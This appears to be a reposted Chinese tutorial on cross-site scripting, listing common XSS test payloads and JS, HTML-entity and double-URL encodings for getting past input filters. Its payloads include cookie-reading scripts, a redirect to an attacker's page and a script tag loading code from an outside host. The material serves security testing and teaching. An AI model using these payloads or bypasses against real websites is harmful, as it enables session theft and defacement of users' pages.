Web网络安全漏洞分析XSS常用语句及编码绕过详解

XSS进阶

XSS常用语句及编码绕过

XSS常用的测试语句

<img src=1 alert(1)> (显示1)

<script>alert("xss")</script> (显示xss)

<script>alert(document.cookie)</script> (显示cookie)

<script>window.location="(你的黑页地址)";</script>

<img src="javascript:alert('XSS')">

<script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

"+alert('XSS')+"

<script src="http://xss.io/a.js"></script>

<div onclick="alert('xss')">

<div onmouseenter="alert('xss')">

"onclick="alert(document.cookie)

常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码。

JS编码

JS提供了四种字符编码的策略,如下所示。

三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。

两个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\x65”。

四个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\u0065”。

对于一些控制字符,使用特殊的C类型的转移风格(例如\n和\r)。

HTML实体编码

命名实体:以&开头,以分号结尾的,例如“<”的编码是“&lt;”。

字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值;”,例如“<”可以编码为“&#060;”和“&#x3c;”。

URL编码

这里的URL编码,也是两次URL全编码的结果。如果alert被过滤,结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。

在使用XXS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。

以上就是Web网络安全漏洞分析XSS常用语句及编码绕过详解的内容,更多关于Web网络安全漏洞的资料请关注其它相关文章!